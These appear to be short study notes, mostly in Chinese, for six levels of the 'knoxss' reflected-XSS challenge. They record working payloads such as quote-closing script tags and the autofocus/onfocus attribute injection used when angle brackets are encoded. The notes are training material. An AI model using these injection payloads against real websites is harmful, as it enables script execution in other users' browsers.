knoxss
knoxss
Single Reflection Using QUERY of URL
——01
測試標簽
<script>alert(666666)</script>
——02: "
<h1>test</h1>
沒有反應,查看源碼
現在需要閉合雙引號,我計劃還是先搞標簽
"><h1>test</h1>
標簽上:
"><script>alert(666666)</script>
——03: ’
<h1>test</h1>
閉合","被實體編碼
'閉合
'>來閉合
'><h1>test</h1>
不多的時候:
標簽上:
'><script>alert(666666)</script>
——04:" + input屬性
<h1>test</h1>
"閉合
發現"閉合了,但是標簽無法被閉合,只能看屬性
找到 input 對應的xss屬性
<input autofocus onfocus=alert(1)>
使用
"autofocus onfocus=alert(1) b="
刷新頁面就觸發!
——05: ’ + input
"閉合
‘閉合
閉合,但是 > 被實體編碼
屬性
' autofocus onfocus=alert(1) b="
'后面是否有空格 都行
——06
頁面看不到
①源碼搜索到:
再去前面找到對應的,未來edit as html
②直接搜索也可(ctrl + F)
<h1>test</h1>
"閉合
使用屬性
" autofocus onfocus=alert(1) b="
自己賦值了